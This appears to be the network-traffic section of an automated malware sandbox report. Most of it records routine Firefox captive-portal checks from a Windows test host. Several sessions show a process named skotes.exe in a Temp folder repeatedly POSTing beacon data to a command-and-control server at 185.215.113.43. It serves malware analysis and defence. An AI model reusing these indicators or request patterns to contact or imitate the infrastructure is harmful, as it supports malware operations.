Nov 18, 2024 21:06:10.823071957 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49435 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:06:11.288763046 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:06:11.417102098 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49436 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:06:19.823338985 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:06:19.957554102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49444 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:06:30.035969973 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:06:40.217690945 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:06:40.500674963 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:06:40.632555008 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49465 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:06:43.139297009 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:06:43.270102024 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49468 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:06:53.332545996 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:00.544446945 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:07:00.670990944 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49485 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:07:10.731252909 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:20.827383041 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:30.923691988 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:41.021512032 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:51.119995117 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:08:21.200799942 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:08:21.327204943 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49566 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:08:41.430820942 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:08:41.557961941 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49586 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	50202	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:41.246664047 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	50206	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:41.559784889 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50207	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:41.639441967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:05:42.549961090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	50211	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:41.712353945 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	50212	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:41.877726078 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	50214	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:42.107574940 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	50216	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:42.419918060 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	50217	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:42.732927084 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	50218	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:43.104922056 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:43.715467930 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48405 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:48.086874962 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:48.217063904 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48410 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:58.262362003 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:05:59.084826946 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:59.213980913 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48421 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:06:09.276320934 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:06:10.827650070 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:06:10.957381964 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48432 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:06:11.420511007 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:06:11.549479008 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48433 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:06:19.961373091 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:06:20.096596956 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48442 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:06:30.176762104 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:06:40.358690023 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:06:40.635404110 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:06:40.762954950 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48462 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:06:43.272706985 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:06:43.407402992 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48465 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:06:53.473089933 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:00.675081015 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:07:00.803076982 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48482 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:07:10.872004986 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:20.968082905 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:31.064433098 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:41.162501097 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:07:51.261044025 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:08:21.330275059 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:08:21.461153984 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48563 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:08:41.564012051 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:08:41.692763090 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48583 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50219	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:44.107810020 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:45.025491953 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50220	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:46.663783073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:05:47.613765955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50222	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:49.133477926 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:50.084810019 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50224	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:51.715267897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50225	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:53.241023064 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:54.155874014 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
